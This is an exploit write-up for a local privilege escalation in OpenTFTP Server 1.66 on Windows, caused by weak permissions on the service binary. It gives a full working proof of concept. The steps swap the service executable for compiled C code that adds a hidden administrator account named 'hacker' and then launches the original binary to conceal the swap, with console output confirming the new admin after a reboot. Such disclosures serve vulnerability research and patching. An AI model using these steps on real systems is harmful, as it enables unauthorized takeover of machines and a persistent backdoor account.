# Exploit Title: OpenTFTP 1.66 - Local Privilege Escalation
# Exploit Author: boku
# Date: 2020-02-12
# Vendor Homepage: https://sourceforge.net/projects/tftp-server/
# Software Link: https://sourceforge.net/projects/tftp-server/files/tftp%20server%20single%20port/OpenTFTPServerSPInstallerV1.66.exe/download
# Version: 1.66
# Tested On: Windows 10 (32-bit)
# About:
# "MultiThreaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout Server Port Ranges,
# Block Number Rollover for Large Files. Runs as Service/daemon. Single Port version also available."

# Vulnerability Details:
# On Windows, Open TFTP Server v1.66, suffers from insecure file & folder permissions.
# This allows a low-privilge, local attacker to escalate their permissions to Administrator;
# by replacing the 'TFTPServer' service binary with a maliciously-crafted, binary executable.
# The TFTP Server runs as an 'Auto_Start' Service, with 'LocalSystem' priviledges, after the
# default installation. After the attacker has planted the malicious binary, the code will
# be executed with System priviledges on the next boot of the windows device. See PoC below for details.

## Local Privilege Escalation Proof of Concept
#0. Download & install Open TFTP Server v1.66
#1. Create low privileged user & change to the user
C:\Users\lowPrivUser>net user lowprivuser | findstr /i "Membership Name" | findstr /v "Full"
User name lowPrivUser
Local Group Memberships *Users
Global Group memberships *None
C:\>whoami
mycomputer\lowprivuser
#2. Move the Service EXE to a new name
C:\OpenTFTPServer>move OpenTFTPServerSP.exe ~OpenTFTPServerSP.exe
1 file(s) moved.
#3. Create malicious binary on kali linux
1) Download dependencies
root@kali# apt install gcc-mingw-w64-i686 wine64 -y
2) Add Admin User C Code
root@kali# cat addAdmin.c
#include<windows.h>
int main(void){
system("net user hacker mypassword /add");
system("net localgroup Administrators hacker /add");
WinExec("C:\\OpenTFTPServer\\~OpenTFTPServerSP.exe",0);
return 0;
}
3) Compile Code
root@kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o OpenTFTPServerSP.exe
#4. Transfer created 'OpenTFTPServerSP.exe' to the Windows Host
#5. Move the created 'OpenTFTPServerSP.exe' binary to the 'C:\OpenTFTPServer\' Folder
C:\>move C:\Users\lowPrivUser\Desktop\OpenTFTPServerSP.exe C:\OpenTFTPServer\
1 file(s) moved.
C:\>dir C:\OpenTFTPServer | findstr "OpenTFTPServerSP.exe"
02/12/2020 05:59 PM 288,659 OpenTFTPServerSP.exe
02/12/2020 06:38 PM 221,560 ~OpenTFTPServerSP.exe
#6. Reboot the Computer
#7. Look at that new Admin
C:\Users\lowPrivUser>net users hacker | findstr "Local name active"
User name hacker
Account active Yes
Local Group Memberships *Administrators *Users
C:\Users\lowPrivUser>net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
